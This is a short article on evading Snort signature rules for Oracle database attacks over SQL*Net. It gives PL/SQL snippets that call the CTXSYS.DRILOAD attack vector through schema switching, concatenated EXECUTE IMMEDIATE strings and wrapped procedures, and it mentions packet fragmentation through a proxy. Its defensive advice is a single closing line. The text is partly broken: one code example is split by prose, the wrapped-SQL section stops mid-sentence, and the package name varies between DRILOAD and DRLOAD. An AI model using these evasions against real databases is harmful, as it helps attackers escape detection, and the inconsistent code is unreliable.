Oracle Database IDS Evasion Techniques for SQL*Net

Almost any IDS software comes with signatures to catch the most common attacks launched against Oracle databases. The majority of these (if not all) relies on signatures but this technique is not, in my opinion, reliable. In the following lines I will try to explain how to circumvent, in example, Snort rules for Oracle database.

In this brief document I will not touch web applications, only evasion techniques valid under SQL*Net communications.

Certain Strings

The snort’s rule “3657 - ORACLE ctxsys.drlload attempt” search for the string CTXSYS.DRILOAD in the sended command. The most easy way to circumvent this is by doing the following:

```sql
SQL> --Change the current "schema" to the CTXS
SQL> ALTER SESSION SET CURRENT_SCHEMA = CTXS;
Session altered
(...Send various stupid commands such as SELECT SYSDATE FROM DUAL if you want...)
SQL> BEGIN
SQL> DRLoad.VALIDATE_STMT('bla');
SQL> END;
```

Because snort’s rule 3657 relies only in searching the word CTXSYS.DRILOAD no alert will be fired. First evasion technique.

Dynamic SQL

Oracle offers various ways to execute SQL commands “on the fly”. The most commonly (or the uniques?) used ways are DBMS_SQL and EXECUTE IMMEDIATE. This can be used, of course, to circumvent another time the snort’s rule as simply as you can see:

Example 1:

```sql
BEGIN
EXECUTE IMMEDIATE 'BEGIN CTX' || 'SYS.DRI' || 'LOAD.VALIDATE_' ||
   ' STMT(''bla''); END;';
END;
```

Example 2:

```sql
DECLARE
   V_OWNER VARCHAR2(20);
   V_PACKAGE VARCHAR2(20);
```
Even in the (hypothetical) case that snort’s correlate the strings there are another ways to make it impossible to detect with signature based systems.

```
BEGIN
  V_OWNER := 'CTXSYS';
  V_PACKAGE := 'DRLOAD';

  EXECUTE IMMEDIATE 'BEGIN ' || V_OWNER || '.' || V_PACKAGE ||
      '("BLA"); END;';
END;
```

It’s only an stupid example, you can create a more complicated function to do this. But, anyway, this method can be catched by creating a simple rule that catches ‘EXECUTE IMMEDIATE’ statements or the use of ‘DBMS_SQL’ (used for the same purpose) so an snort’s alert should be risen. To avoid detection we can use another method.

**Wrapped SQL**

Oracle PL/SQL source can be wrapped (something similar to encryption) so, to evade detection of the word which we don’t want to detect we can do something like the following:

```
-bash-3.00$ cat test.sql
create or replace procedure aa
is
begin
  execute immediate 'begin ctxsys.drload.validate_stmt(''bla''); end;';
end;
```
We can also “evade” the error message by simply putting our call to the procedure “aa” in simple
Another Very Old Possible Methods

Another method can be the following: create a proxy application between your machine and the real Oracle database server. Resend the packets to the real database server fragmented, with overlaped fragments, etc..

Possible Solution to Catch It

A simple solution to catch it is by creating a rule for “execute immediate”, “dbms_sql” and the “wrapped” words but, surely, anyone will found another way to circumvent this check made because the rule methods are not in anyway reliables.